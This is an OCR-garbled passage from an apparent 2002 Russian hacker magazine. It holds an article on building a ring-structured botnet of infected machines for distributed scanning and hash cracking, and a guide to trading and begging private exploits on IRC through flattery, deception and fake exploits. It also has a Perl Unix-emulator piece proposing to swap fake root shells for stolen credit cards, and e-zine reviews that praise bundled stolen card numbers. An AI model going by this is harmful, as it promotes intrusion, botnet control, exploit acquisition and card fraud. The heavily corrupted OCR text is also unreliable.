И ЦИФРО-МОБИЛЬНОМ 
ѵѵѵѵѵѵ.тсопііпе.ги 



+ Тестируем НР іРад 3970 - лучший 
из лучших КПК 

+ Узнаем, как реализован ѴѴі-Рі на 
ТозИіЬа Е740 

+ Превращаем Роскеі РС в 
карманный видеоплеер 
+ Комментируем второе пришествие 
Азиз І_3 

+ Знакомимся с ноутбуком 
МахЗеІесІ 840 

+ Отвечаем на вопрос: "Растет ли 
стоимость мобильной связи?" 

+ Рассматриваем АІсаіеІ Оле ТоисН 
715 Применяем камеру-записную 
книжку 

+ Ьодііесіі Роскеі ОідііаІ Учим 
чистить объективы фотокамер 



По традиции в номере вы 
найдете основные новости КПК , 
ноутбуков , мобильных 
телефонов , цифровой 
фототехники , а также обзоры, 
тестирования и каталог 
наиболее интересных новинок. 



«с 



МОБИЛЬНЫЕ 

КОМПЬЮТЕРЫ 
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\ тагаѵап (тагаѵап@геаІ. хакер. ш) 






благополучно "уничтожается" на ней. 

Чтобы сделать работу сети более надежной, 
распараллеливается передача команд по сети. 
Здесь каждая машина будет знать адреса двух 
(или более) предыдущих, двух (или более) 
следующих и одной (или более) стоящей на 
одном уровне с ней машины. На деле это бу- 
дет выглядеть примерно так: хакер соединяет- 
ся с одной из машин сети и отправляет коман- 
ду на нее. Она передает ее всем машинам, 
стоящим на одном с ней уровне (пусть это бу- 
дет машина №1 из всех 10 зараженных), отку- 
да она никуда дальше не передается. Затем 
она пытается передать пакет "вперед" по сети. 
Пусть спереди находятся машины 2 и 3. Она 
сначала пытается его послать на вторую ма- 
шину, а если не получается (машина в дауне), 
то на третью. Если ей удалось передать пакет 
на вторую машину, то вторая передает его 
третьей, т.к. это машина одного со второй 
уровня, четвертой и пятой, стоящим спереди. 
Если вторая машина в дауне и хакер смог пе- 
реслать пакет только третьей, то теперь третья 
машина вместо второй пересылает пакет чет- 
вертой и пятой. Весь этот процесс повторяет- 
ся до тех пор, пока пакет по кольцу не достиг- 
нет одной из машин того уровня, с которого 
он был запущен. Хотелось бы добавить, что в 
относительно больших сетях (до нескольких 
десятков тысяч машин) вероятность ухода в 
даун какой-либо машины сети сильно возрас- 
тает. Следовательно, чтобы сделать работу 
сетки более или менее надежной, а путь паке- 
та менее длинным, на каждом уровне кольца 
должно быть больше двух (как было в рассмо- 
тренном выше примере) машин. 

Теперь разработан принцип работы сети! Конеч- 
но, осталась еще куча моментов, на которые сто- 
ит обратить внимание. Например, каким образом 
заражающая машина будет организовывать сеть 
из зараженных (сам алгоритм выстраивания ма- 
шин в кольцо), как эти зараженные машины, на- 



РАСПРЕДЕЛЕННОЕ СКАНИРОВАНИЕ 



Теперь о самых насущных проблемах - ради че- 
го и создавалась данная сетка. Если рассматри- 
вать задачу распределенного сканирования на 
примере вышеописанной модели из 1 1 машин, 
то весь процесс можно организовать следую- 
щим образом. Хакер коннектится к любому из 
хостов своей сети и шлет пакет со списком ІР- 
адресов, портов, которые нужно просканить 
(для примера пусть это будут хосты 
1 92. 1 68. 1 00. 1 /24 и порты - 21 ,22,23,25 и 1 1 0), 
а также паблик-ключом, которым будут шифро- 
ваться результаты сканирования. 

1 ) Этот хост "возьмет на себя" ІР 1 92. 1 68. 1 00. 1 
со всеми портами и начнет его сканить. 

2) Своему соседу по уровню он пошлет пакет 
только с одним ІР-адресом - 192.168.100.2 и 
всеми пятью портами. 

3) Двум следующим по кольцу машинам сети он 
уже пошлет пакет с 192.168.100.3/24 ІР-адреса- 
ми и, соответственно, всеми портами. 

Далее эти три шага будут выполняться для каж- 
дого уровня сети. Так пакет, пройдя по всему 
кольцу, вернется к первоначальному хосту уже 
измененным списком ІР-адресов, начиная с 
192.168.100.12. Первоначальный хост, в свою 
очередь, снова выполнит над этим пакетом вы- 
шеописанные 3 шага. Пакет будет гоняться по 
кольцу, пока не закончатся ІР-адреса. Пакеты с 
результатами сканирования каждый хост сети бу- 
дет шифровать, используя переданный паблик- 
ключ, и пускать по кольцу - так хакер сможет их 
получить, т.к. каждый пакет будет проходить че- 
рез каждый хост, включая тот, на котором распо- 
ложен взломщик. При вышеописанной системе 



Процесс перебора пассов будет построен точно та- 
ким же образом, как и сканирование. Только вмес- 
то списка ІР-адресов с портами на первоначальный 
хост будет слаться список хэшей и начальное зна- 
чение для перебора (например, хэш 
$1$ОМ9Ррк№.М7от/СКН5дООА.ВР18. и началь- 
ное значение, представленное в численной форме 
- 0). Первый хост возьмет на себе все хэши и зна- 
чения для перебора, например, от 0 до 1000000, 
своему соседу по уровню даст все хэши и началь- 
ное значение, равное 1000000, а следующим по 
кольцу хостам отдаст те же хэши с начальным зна- 
чением 2000000. Этот пакет будет гоняться по 
кольцу, пока начальное значение не превысит свой 
максимум. Максимум считается как (п)**т, где п - 
общее количество допустимых для использования в 
пароле значений символов, а пл - количество самих 
символов. Опять же, как в случае со сканировани- 
ем, результаты перебора будут шифроваться паб- 
лик-ключом и пускаться по кольцу. 

Все, описанное выше - всего лишь неко- 
торые соображения по построению сет- 
ки. Прежде чем ты решишь на практике 
замутить нечто подобное, стоит заду- 
маться. Задача, бесспорно, интересная, 
но... тысячи машин, находящиеся под 
контролем - это не пара отдефейсенных 
сайтов. Такие действия могут привлечь 
внимание серьезных людей. И кончится 
все это, вероятно, плачевно - суд, каме- 
ра могут однажды стать суровой реально- 
стью. Так что все действия продумывай 
заранее и всегда помни о возмож- 
ных последствиях. • 
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ПОСТАВЬ ТОЧКУ В ВЫБОРЕ ПРОВАЙДЕРА! 



| <Раде 058>| 



ХДКЕР\№47\Ноябрь\2002 



Взлом 



ТРЭЙДИНГ ЭКСПЛОЙТОВ 



\ зарагтигаі 



/А 



О 



До 






Приветствую тебя, любитель свежего Осіау ІЗЗі ѵѵагега :). Ты качаешь самый свежак, а новенький 
сплоит, о котором все трещат, прошел мимо тебя? Есть приватный релиз, а ты не в круге избранных? 
Выход есть всегда. Например, можно потрейдить эксплойтами. Вот об этом и поговорим. 



Для того, чтобы заполучить желаемое, нам 
предстоит много общаться (на английском). 
Место такого общения, безусловно, ігс, а еще 
точнее - еіпеі (ігс.гі.ги). Именно на эфнете со- 
бирается самое большое количество трейде- 
ров с разными эксплойтами. Также есть от- 
дельный сервер ігс.трІз.са:6663 #с!агкпеі от 
создателей известного сайта ѵмѵѵ.баск.со.іа, 
который совсем недавно был "воскрешен". На 
нем находится постоянно пополняющийся ар- 
хив разных эксплойтов. Для нормального трей- 
динга лучше всего иметь на руках хотя бы по- 
ловину приватных эксплойтов (достать можно 
у знакомых, на взломанных серверах). Закон- 
нектились на сервер, теперь заходим на изве- 
стные трейдерские каналы #сІагкпеі и #!таТі- 
апеі. Здесь веди себя спокойно, не выступай; 
если идет какое-то обсуждение, то, по мере 
возможности, присоединись к нему. Но не 
стоит кидаться глупыми, крикливыми фраза- 
ми, а то получишь Ьап. Если можешь сказать 
что-то весомое (продуктивный ответ на чей-то 
вопрос), то не упусти такой возможности, тебя 
заметят, и в общении доверие будет выше. 



іпіегезііпд тзд те. В качестве примеров буду 
вставлять реальные разговоры: 



<ххх> Неу, сіо уои Ігасіе? 

<УУУ> уе 

<ххх> ѵѵііаі зіиіі и Наѵе? 

<ууу> Нт аіоі оі 7350 зіиТТ еіс... 

<ууу> ѵѵііаі аЬоиі уои? діѵе те уоиг Іізі, 
Іизі Із -Іа 



перов хватает, и со временем ты будешь знать, 
с кем лучше не трейдить, а кому можно дове- 
рять. Выработаешь нюх на рипперов =). 



По пунктам выделим, что мы сделали непра- 
вильно в конкретном примере, а также общие 
пожелания при трейдинге: 



Чтобы не перечислять каждый раз все твои экс- 
плойты, сделай себе Осіауіізі - сб 
0бау_ѵѵаге2_агіііѵ; Із -Іа > ОсІауІізШ. Сделали, 
едем дальше... 



ЭКСПЛОИТ НА ЭКСПЛОИТ 



Ну вот, мы зашли на канал, что дальше? Можно 
просто сидеть, привыкая к обстановке или вы- 
жидая начала какого-нибудь обсуждения, а мож- 
но непосредственно перейти к трейдингу, сказав 
фразу типа "і ѵѵаппа Ігасіе, тзд те" на весь ка- 
нал. Можно начать разговор с кем-нибудь из 
приглянувшихся тебе людей в привате, вот при- 
мер из жизни: <ххх> апуопе іо Ігасіе апуіЬіпд 



<ххх> зиге, еЬеек іі (пастим свой Осіауіізі) 
<ууу> Ьт, і пеесі х2згс.1аг.дг, Ігасіе? 

<ххх> ѵѵаіі, і сЬеск уоиг Іізі 
<ххх> зо ѵѵЬаі аЬоиі Ыпб9-39273-1езо.с? 
<ууу> оЬ, ііз ігезіі ргіѵаіе зріоіі, аіоі іагдз, 
іиііу ѵѵогк ;) 

<ххх> Мт, із іі геаіу ѵѵогк? 

<ууу> зиге, і іезіесі іі. . .зо? 

<ххх> ок, Іеіг ігасіе, зепсі те ЬіпсІ9-39273- 
іезо.с іЬеп ПІ зепсі и зге оі х2 
<ууу> поре, и іігзі... сіопп саге іт поі гір- 
рег 

<ххх> дгг ок, сісс? 

<ууу> уеа 

* ххх аѵѵаіііпд Ьіпб9-39273-іезо.с 
<ууу> саісЬ 
<ххх> ок, суа... 



Поздравляю! Нас кинули =). Такое бывает, рип- 



1 ) Эксплойты от ТЕЗО имеют характерную черту 
в названиях - 7350, поэтому, видя Ьіпб9-39273- 
іезо.с, сразу должны возникнуть подозрения. 

2) Старайся убеждать человека, чтобы тот пер- 
вым выслал тебе эксплойт. В таком случае, при 
наличии знаний в области программирования, 
иногда можно сразу заметить подставу. Напри- 
мер, однажды мне кинули якобы Ш ехріоіі, 
взглянув в сорсы, я сразу понял, что это гали- 
мый іаке (подделка, фальшивка). Он коннектил- 
ся к 25 (зтір) порту сервера и посылал баналь- 
ный Іііір запрос =). 

3) Слова <ууу> "зиге, і іезіесі іі" действительно 
всего лишь слова. Проси продемонстрировать 
эксплойт на деле, в таком случае ты будешь уве- 
рен в его работоспособности. Естественно, тебя 
тоже могут об этом попросить, поэтому найди 
заранее жертву для демонстрации (это, как пра- 
вило, относится к удаленным эксплойтам). 

4) Если интуитивно чувствуешь подвох, то луч- 
ше уйди. Попробуй узнать о заинтересовав- 
шем тебя эксплойте у других людей. Так как 
на этих каналах постоянно сидят одни и те же 
личности, то и набор эксплойтов у них доста- 
точно схож. Также, в случае сомнения, ты мо- 
жешь кинуть какую-нибудь фальшивку. Если 
тебе действительно дадут то, что ты хотел, то 
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потом отдашь нормальную версию эксплоита, 
а свои действия объяснишь как дополнитель- 
ную осторожность. 

5) Сам не кидай людей (иногда все-таки прихо- 
дится =)). Имея хорошую репутацию, в будущем 
будет проще трейдить, отношение людей изме- 
нится в хорошую сторону. А завязав дружбу, и 
вовсе будешь получать свежак просто так, по- 
дружески. 



ЭКСПЛОИТ СОВСЕМ НА ХАЛЯВУ 



Ну вот, мы и рассмотрели типичную ситуацию 
обмена, но что делать, если на руках ни одно- 
го подходящего эксплойта для осуществления 
сделки? Тогда потребуется обычная болтли- 
вость/красноречие/умение убеждать (харизма 
;>). Наша цель - заставить человека дать нам 
то, чего мы хотим. Вспомни, как "стрелял" 
деньги/сигареты/спички еіс - вот таким же об- 
разом мы будем "стрелять" свеженькие экс- 
плойты. НО! Забудь блатные фразы типа "ты 
че повелся?" и так далее. Так ничего не до- 
бьешься. Временно побудем психологами, по- 
пробуем управлять человеком, дергая его за 
чувствительные ниточки. Похвали собеседни- 
ка, потешь его самолюбие, соглашайся с его 
мыслями, используй его жаргон, подчеркни 
его ум и проницательность. В общем, стань 
лизоблюдом-подхалимом. Не считай это само- 
унижением, это лишь способ заполучить жела- 
емое (вспомни Остапа Бендера). 

Начать можно, завязав разговор на любую 
тему, например, спросить об интересных 
новостях, какие эксплойты ходят в трейдер- 
ских кругах, чем занимается твой собесед- 
ник. Но ни в коем случае не начинать с 
фразы "Сап уои діѵе те а Іеѵѵ ехріоііз?". Те- 
бя просто пошлют куда подальше. Посте- 
пенно переходи к главному, то есть непо- 
средственно к выпрашиванию. Можно при- 
думать историю, например, что тебе поза- 
рез надо поломать один сервер, но так как 
ты находишься не дома, то, соответствен- 
но, всей твоей коллекции эксплойтов под ру- 
кой у тебя нет. А когда ты вернешься домой, 
то что-нибудь дашь ему. Будь наглее, ведь на- 
глость - второе счастье и помощник в нашем 
деле, но не переусердствуй. 

Итак, представим ситуацию: ты сидишь на кана- 
ле, вдруг кто-то задает вопрос (будь он техниче- 
ский или теоретический), и ты знаешь, как на 
него ответить - прекрасно! Ты начинаешь обсуж- 
дать этот вопрос в привате, постепенно объяс- 
няешь, что и как, собеседник веселеет, видя по- 
мощь с твоей стороны. Тут ты заводишь разго- 
вор. Вот тебе пример: 



<ххх> аге уои сосіе? (заводим разговор) 
<ууу> іт поі сосіег ;) 

<ххх> зо ѵѵііаі аге уои іпіо? 

<ууу> Ігасііпд , ИахОгіпд еіс =) 

<ххх> НеН пісе, і Ііке іі Іоо (поддержи- 
ваем увлечения собеседника) 

<ххх> диезз уои дгеаі тап 8) (подлизыва- 
емся) 

<ххх> Мѵѵ сап и Ііеір те? і різзесі оі ;(, іт 
аі ѵѵогк поѵѵ апсі аІІ ту зріоііз аі Йоте, зо і 
пеесі диіскіу Маек зоте ЬОх, ііз - 
АрасНе/1 .3.22 (ІІпіх) (ПесІ-НаІ/І-іпих) 
тосІ_ззІ/2.8.5 Ореп55І_/0.9.6Ь РНР/4.0.6 
тосІ_регІ/1 .24_01 тосПНгоІІІе/3.1 .2. Наѵе 
и зотеіЫпд іог ІІіаІ? 

<ууу> Ит 

<ххх> і Наѵе 7350іип, Ьиі ііз аі Ноте ;(, 
сап уои Неір те ,рІ 2 ? 

<ууу> иН і доі сіаі, гесіеѵе сісс 
<ххх> Іпх! 

Итак, у нас есть первый эксплойт! 

Ніпі: тебе нужно часто сидеть на подобных кана- 
лах, чтобы быть в курсе событий, то есть ты за- 
ранее знал, что существует рНр эксплойт, кото- 
рый называется 735(Жіп. 

Прошло полчаса, мы, якобы, пытались поломать 
сервер через рбр, но у нас ничего не вышло, 
продолжаем диалог: 

<ххх> Неу Ьго, ііз те адаіп 
<ууу> уО, Ноѵѵз уоиг зегѵ? 



Обязательно 
залезь сюда: 



ѴѴѴѴѴѴ. Н АС К. С О . 2 А 

ѴѴѴѴѴѴ. РАС КЕТ5ТО РМ 3 ЕС Ы РІТѴ. □ КО 

ѵѵѵѵѵѵ. б ЕС и ттѵго с и б . с о м 



<ххх> сапЧ оѵѵп іі ;(, Ьгиіеіогсе сіісіпЧ поІН- 
іпд 

<ууу> ЬасІ, Нт., і аізо Наѵе ззі ехріоіі, ііз 
ІгезН Осіау, тауЬе ѵѵіІІ Неір уои ѵѵіІН ІНаІ 
Ьох,Наѵе и апуІНіпд Іо г Ігасіе? 

<ххх> і ІНіпк и Наѵе аІІ ту зіиіі, ііз ап оісі, 

С02 і ]изІ геіигп Ігот ту НоІІусІауз апсі НаѵпЧ 
пеѵѵ ;(, сап и діѵе іі те Іог Ігее? і'ІІ діѵе уои 
оІНег зіиіі Іаіег ѵѵНеп і деі іі ок? 

<ууу> зо уои Неірз те, ок і ѵѵіІІ зепсі и ІНіз 
ззі ехріоіі, ііз іог Ііпих опіу, Ыѵѵ ІНеге із а Іаг- 
деі іог уои Ьох ;), і ІНіпк іі ѵѵіІІ еазу іо Наск іі 
<ххх> дгеаі !!! ІНапкз аіоі Ьго, и заѵе ту азз 
;)) 



<ууу> НаННа пр ;) тзд те ѵѵНеп уои деі ІгезН 
Осіауг 

<ххх> зиге, і пеесі іо до, суа Ьго апсі іпх 
адаіп ... 

Вот так-то! Мы абсолютно на халяву получили 2 
эксплойта! Причем второй действительно све- 
жак (на момент написания статьи =)). Конечно, 
ситуация выглядит почти идеальной, но подоб- 
ное действительно случается, главное вовремя 
влезть в разговор. Не исключено, что даже если 
ты кому-то помог, тебе все равно откажут. Люди 
бывают разные, и раз на раз не приходится как 
в плане провалов, так и в плане удач. 

Помимо эксплойтов у нас появился потенциаль- 
ный друг-трейдер, поделись с ним в будущем 
чем-нибудь, периодически общайся, и будешь 
иметь свежий стуфф. Он его достает такими же 
методами, как и мы =). Чем больше у тебя бу- 
дет таких знакомых, тем больше эксплойтов ты 
будешь получать. 



ДРУГИЕ МЕТОДЫ 



Ну вот, основы трейдинга ты усвоил, это не 
так сложно. Как и в любом деле, здесь нужен 
опыт. Старайся не зацикливаться на одном 
трейдинге, помимо него есть масса интерес- 
ных вещей. Научись программировать, искать 
уязвимости, и сам сможешь создавать свои 
эксплойты. Кстати, еще один путь стрейдить 
эксплойт: написать іаке, взять несколь- 
ко эксплойтов и повырезать из них от- 
дельные части. Но это грязный метод 
кидания, могут пустить слух, что ты 
риппер, и с тобой мало кто захочет 
трейдить, поэтому с этим аккуратней. 
Правда, и это еще не все. Ты можешь 
сделать (сам или попросить знакомого 
кодера) таззгооіег. Маззгооіег - про- 
грамма, сканирующая жертву на откры- 
тые порты, после соединения сверяет 
баннер сервисов. Если он совпадает с 
заранее определенным, т.е. сервис 
имеет какую-либо уязвимость, тогда он 
запускает эксплойт и таким образом атакует 
сервер без вмешательства пользователя. Так 
ты можешь собрать не совсем свежие экс- 
плойты, на которые уже никто не меняется, и 
сделать такой таззгооіег, а затем вполне 
удачно им стрейдить. 

Подошли к завершению. Надеюсь, эта информа- 
ция будет тебе полезна не только в Мнете, но и 
в реальной жизни. Там умение общаться с 
людьми, понимать их психологию го- 
раздо важнее, нежели здесь. Засим 
прощаюсь... 
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САГА ОБ ЭМУЛЯТОРАХ 



Лично меня эмуляторы интересовали 
всегда - еще задолго до того, как я на- 
чал заниматься программированием. 

Эмуляторы различного рода приставок, 
зресігит и иже с ними. Занятно пере- 
меститься в каменный век :). Но больше 
всего мне нравились эмуляторы опера- 
ционных систем. 

Я видел много различных эмуляторов 
*піх, в том числе и портированные 
бинарники Судѵѵіп. Что-то мне в них 
нравилось, что-то нет. Поразмыслив, 
я решил написать свою систему на 
языке РегІ. Аналог І_іпих. Конечно, я 
понимал, что замахнулся на нечто 
грандиозное (для меня, по крайней 
мере), но - кто не рискует... Сначала 
я все делал в одном файле. Получа- 
лось сумбурно, кроме того, возникла про- 
блема путаницы в собственном коде :). Тогда я 
начал программить с нуля, используя все воз- 
можности РегІ. Я пытался придерживаться стан- 
дарта І_іпих, но так как в качестве ядра у меня 
выступал ѴѴіпсІоѵѵз, пришлось немного поизвра- 
щаться (особенно с сигналами). 



/Ьіп - [важные бинарные файлы] 

/ЬооТ ЬооТ.соп^ [автозагрузка чего-либо при активации эмуля- 
тора] 

/6емЩ, сіеѵісез, еЪс [директория для №у-файлов и девайсов] 
/еЪс [конфигурационные файлы] 

'- /зузсопйд [информация о машине] 

/Моте [домашние каталоги] 

/ІіЬ [файлы с процедурами] 

/ргос [текущие процессы] 

/гооТ [директория суперпользователя] 

/ивг [пользовательская директория] 

'-/Ьіп [бинарники] 

/ѵаг [рабочая директория] 

/епѵ [права пользователей] 

'- /Іод [логи системы] 

' - /гип [текущие рісі ' ы запущенных программ] 



ПІІШХ - ЭМУЛЯТОР нового 
ПОКОЛЕНИЯ :) 



И вот чудо природы ака РІіпих ѵі .0 появилось 
на свет :). Перловые скрипты, олицетворяющие 
собой линуксовые бинарники - в первую оче- 
редь Іодіп, ЬазЬ, рз, кіІІ, Із, саі, раззѵѵсі, зи и 




другие. Вот плюсы и минусы мое- 
го эмулятора. 

Плюсы: 

1) Многопользовательность - 
РІіпих эмулятор легко справляет- 
ся с несколькими пользователя- 
ми, так как для каждого выделя- 
ется отдельный "Ну- файл" и 
процесс :). 

2) Политика прав и безопасности. 
В своем эмуляторе я реализовал 
права для отдельного иісі и дісі 
пользователя. Как я этого добил- 
ся - читай далее. 

3) Возможность удаленного админи- 
стрирования - что тебе мешает по- 
ставить Теіпеі зегѵег на эмулятор? 

Минусы: 

1 ) Ядро - ѴѴіпсІоѵѵз. Таким обра- 
зом, эмулятор - оболочка, и все права могут 
сойти на нет (локальная безопасность не гаран- 
тирована). 

2) Плохая работа с сигналами и межпроцессор- 
ном взаимодействии (третье ответвление процес- 
са невозможно, отсутствие конвейеров и т.п.). 

3) Медлительность. Единственный минус РегІ - 



Ньюсы 




Юниксоид 












I 



медленная работа - может сказаться при какой- 
либо обработке. Хотя я такого не замечал. 
Разумеется, РегІ-код доступен каждому для чте- 
ния, и ты сможешь в нем разобраться (кое-где я 
даже вставил комментарии). 



АЛГОРИТМЫ И МЕЖПРОЦЕССОРНОЕ 
ВЗАИМОДЕЙСТВИЕ 



При написании РІіпих для меня были важны две 
вещи - сигналы и права. Так как ѴѴіпсІоѵѵз не уме- 
ет толком обращаться ни с тем, ни с другим, я 
начал придумывать собственные алгоритмы об- 
работки сигналов и прав. 




Піпих в действии 

Эмулятор стартуется /Ьіп/Іодіп'ом. После ус- 
пешной аутентификации запускается изег-зЬеІІ. 
Запускается он Тогк()'ом. То есть шелл стано- 
вится потомком логина, что, в общем, логично 
(при убийстве или завершении работы шелла 
убивается и логин). Дальше - сложнее. Интер- 
претатор (ЬазГі в моем случае) обрабатывает 
команды пользователя и (если необходимо) за- 
пускает внешние программы (/Ьіп/ипате, 
/изг/Ьіп/раззѵѵсІ, еіс). При этом желательно, 
чтобы каждая программа имела свой собствен- 
ный процесс и не зависела от других. Сначала 
я использовал сіо() для вызова внешних про- 
грамм (функция сіо() выполняет регі-скрипт с 
сохранением всех переменных запускаемого 
скрипта, но процесс у запущенного скрипта не 
изменяется). Из-за невозможности выделения 
процесса от сіо() пришлось отказаться и ис- 
пользовать зузіет() - функцию, которая запус- 
кает новый скрипт, выделяя под него процесс, 
но не сохраняя старых переменных. Поэтому 
внешняя программа запускается по типу: зуз- 
Іет ( " ПУТЬ/К/РШ п их/РегІ /скри пт параметры 
Путь/К/РІіпих ІІзегТТУ"). 

Затем в новом бинарнике происходит отсоедине- 
ние от параметров зуз1ет() сначала Ну, потом 
глобальной переменной $РІ_ПООТ (путь к дирек- 
тории эмулятора), а далее вызов процедуры 
СеІепѵз(), в которой происходит считывание 
ІІзегЮ, СгоирЮ, Ноте, ЗГіеІІ и т.д. Вот как это 
выглядит (пример из /Ьіп/Із): 

#!/изг/Ьіп/регІ 

## /Ьіп/Із сотропепі Іог РІіпих ѵі .0 
ту(@агдѵ)=@АПСѴ; # Запоминаем параметры 
$Ну=рор(@агдѵ); # Отсоединяем от них Ну 
$РІВООТ=рор(@агдѵ); # Затем $РІ_РЮОТ 
гециіге "$РІВООТ/ІіЬДІіпих.зо"; # Заюзаем 
процедурный файл /ІіЬ/ТІіпих.зо 
Сеіепѵз)); # Уходим на процедуру получения 
переменных 



Откуда берутся эти переменные? В эмуляторе 
может быть несколько пользователей одновре- 
менно. В /Ьіп/Іодіп каждому пользователю при- 
сваивается личный номер - условно назовем его 
Ну (Ну-файл сам по себе создать сложно - нет 
ядра). Поэтому номера пользователей отличают- 
ся друг от друга. Затем - мой личный алгоритм 
:). В эмуляторе есть директория /ѵаг/епѵ. В ней 
расположены эти же Ну-номера, в которых запи- 
саны І_одіп, Ш, СісІ, Мате, Ноте, и ЗЬеІІ пользо- 
вателя соответственно. Таким образом, после 
считывания каждая программа наверняка знает 
права юзера, под которым она была запущена. 
Так становится реальным запрет на несанкциони- 
рованный просмотр директорий, убийство про- 
цессов и тому подобные пакости. 





Главный процедурный файл 



Что касается процессов, тут тоже не обошлось 
без извращений. Функции асІсІргос() и 
гтргос() записывают и удаляют процессы из 
таблицы (директория /ргос содержит номера 
процессов с содержанием в них изег, Иу, Ііте 
и стб). Функция РегІ - кіІІ (зідпаі, ріб) убивает 
процесс по заданному сигналу. Вопрос на за- 
сыпку: как узнать текущий процесс? А его со- 
держит переменная $$. После нескольких хит- 
рых манипуляций тебе подчиняются все про- 
цессы ;). А после фильтрации прав путем 
сравнения уидов, можно уверенно гарантиро- 
вать безопасность запускаемых приложений (у 
меня это пока не реализовано). 

К моменту написания этой статьи уже появился 
телнет-демон =). При его запуске РІіпих биндит 
23 порт и ждет коннекта, после которого перена- 
правляет поток /Ьіп/Іодіп в консоль клиента и об- 
рабатывает соединение. Добиться этого было не- 
просто, так как функция зузІет(), хоть и выпол- 
няет скрипт интерактивно, не способна изменить 
направления трех главных дескрипторов (ЗТОІМ, 
ЗТООІЯ, ЗТОЕРР) под ѴѴіп32... Под І_іпих - здесь 
проблем нет, но ядро эмулятора все же ѴѴіпсІоѵѵз. 
Поэтому пришлось обходиться сіо() и делать вза- 
имоисключение при помощи переменной 
$гегтю1е (1 - подключение через демон, 0 - ло- 
кально) в бинарниках. Таким образом, фактичес- 
ки все процессы, выполняемые через телнет, яв- 
ляются потомками, и чтобы убить какой-либо из 
них, необходимо убить весь демон. 



ВЗГЛЯД НА БЕЗОПАСНОСТЬ 



Допустим, РУпих - отличный проект, хороший 
эмулятор и, может, даже удаленная система 
управления :). Но где гарантия, что какой-ни- 



будь умник не изменит свой 11Ю внешней про- 
граммой и не получит права администратора? 
На этот счет есть разные размышления и ги- 
потезы. Я решил остановиться на такой пози- 
ции. Выполнять РегІ-скрипты при помощи 
предварительного парсинга кода с предосте- 
режением выхода за директорию эмулятора, 
удаления файлов без права на это и так да- 
лее. Воплотить это вполне реально - нужно 
лишь подумать. А что касается бинарных ехе- 
файлов - разрешать их запускать только руту - 
он точно знает (должен знать), что делает ;). 



ПРЕЛЕСТИ ППШХ 



Зачем нужен этот эмулятор? Во-первых, его можно 
поставить на Ш2000/1ЧТ/ХР сервер и удаленно уп- 
равлять им через ІеІпеМ - просто и удобно. 

Можно еще заняться трейдингом аккаунтов :). 
Представь себе ситуацию: ты заходишь на ка- 
нал трейдеров в ІРС и просишь пару-тройку 
валид кредиток за рутшелл на крутом Упих'е. 
Когда какой-нибудь буржуйский трейдер отва- 
лит тебе кред, ты ему, как честный гражданин, 
даешь аккаунт на РУпих. Представь его реак- 
цию, когда он будет ходить по папкам суперна- 
вороченного Упих ;). Причем, ты его не кинул - 
честно предоставил аккаунт, а уж как его ис- 
пользовать - личное дело нового владельца :). 




И, наконец, с помощью РУпих ты можешь на- 
учиться программировать. Не спорю, сейчас в 
нем много ошибок и недоработок, код порой 
выполнен нерационально. Правь его и пиши 
под него новые "бинарники", мыль мне новые 
алгоритмы - я буду рад с тобой сотрудничать. 
Ведь Упих написал не один Торвальдс, а ты- 
сячи умных людей. Может, и ты захочешь вне- 
сти свою лепту в этот проект %). 



ИСПОЛЬЗУЕМ НА ЗДОРОВЬЕ 



Скачать эмулятор можно по адресу Ьйр://катеп- 
зк.ІаеІ.ги/ІогЬ/пеѵѵ.іір. В корне лежит файл р.ЬаІ 
Измени его, как тебе удобно (там находится пе- 
ременная РІ_РЮОТ - ее необходимо поменять на 
текущую директорию эмулятора). Затем пускай 
из стб.ехе (соттапсі.сот, еіс): регІ Ьіп/Іодіп. 
Должен запуститься Іодіп - и все будет примерно 
как на скриншоте ;). 

Внимание! Пароль на пользователя гооі - ІІіпих. 




Х-Стиль ЫКодинг 




Юниты 





Оиі*> 

















| <Раде 062>| 
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ЧИТАЕМ Е-2ШЕЫ 



Начнем с того, что выясним, чем 
отличается материал в е-гіпе от 
публикаций на различных "хак- 
сор" сайтах. Во-первых, в е-гіпе, 
как правило, выходят самые ин- 



тересные и уникальные идеи, на- 



работки, статьи. Сеть же кишит 
статьями, переписанными друг у 
друга сотнями "зЗсигііу дгОирз". 
Конечно, это относится не ко 
всем, но часто можно встретить 
материал, содранный и переве- 
денный с РНВАСК'а. Во-вторых, к 
журналам частенько прилагаются 
так называемые "бонусы" - рас- 
сказы на тему "Кибер-панка", ин- 
тересные логи, АРТ сцена, сс и 
тому подобное. Согласись, что 
после мозгового штурма статьи 
"ДизАСМ СосІеВесІ" приятно рас- 
слабиться и почитать что-нибудь 
для души :). В-третьих, в е-зин'ах 
ты найдешь исходные коды про- 
грамм, скрипты, бинарники, пла- 
гины и тому подобное добро - 
это, безусловно, плюс (гораздо 
проще понять суть статьи, если к 
ней прилагается наглядный при- 
мер). Единственное, что напряга- 
ет - от номера до номера прохо- 
дит неопределенное количество 
времени (привет, гзИ :)). На рус- 
ской сцене хотелось бы отметить 
3 издания: ХАОС, х.25 и підШаІІ. 
Из забугорных журналов я рас- 
скажу о РНРАСК, еІ8, 29а и 2600. 



ХАОС 




1 Х.25 


Стафф: гзб 




Стафф: Ргее Нипіег, тасісг 


Официальная страница: МИр : //хаос. ѵоісі . ги 




Официальная страница: 


Дата первого выпуска: 13-06-2001 




Шр : //ѵѵѵѵѵѵ.х25из. пеі 


Количество выпусков: 2 




Дата первого выпуска: 7-07-2001 


Один из наиболее респектных на данный момент 




Количество выпусков: 2 



е-зинов. Ребята предлагают хороший и актуаль- 
ный (на дату публикации) материал. Журнал со- 
здавался для людей и людьми, интересующими- 
ся "зесигііу" в самых разных ее проявлениях: те- 
лефония/сотовая телефония, алгоритмы, про- 
граммирование и, конечно, сеть. В журнал также 
включаются различные фишки из СР мира - рас- 
сказы, рисунки, музыка, демки еіс - для общего 
развития, так сказать... (ХАОС іззие #1 СМЕРТЬ 
ПОСЛЕДНЕГО ХАКЕРА <« тиз* геаб !!!). Един- 
ственный минус - непостоянность релизов: за 2 
года вышло только 2 выпуска. Будем надеяться 
на большую плодотворность. Кстати, из прове- 
ренных источников поступила информация о 
том, что ХАОС и х.25 объединяются. 



ХАОС е-гіпе 



Еще один из лучших е-зинов на сегодняшний 
день. По охватываемым темам очень похож на 
ХАОС, то есть пишут практически обо всем: 
Гіаскіпд/сгаскіпд/сосІіпд/х25 гезеагсЫпд. В интро 
первого выпуска сказано, что журнал создавался 
для поддержки сцены в России. Точнее, для 
толчка юных умов на ее суппорт :), так что - дер- 
зайте! К журналу, по традиции, прилагаются бо- 
нусы. В первом номере одним из них был архи- 
вчик с тремя тысячами валидных СС :). 

Р.З. Второй номер вышел со статьями, которые 
предназначались для третьего ХАОСа (из-за не- 
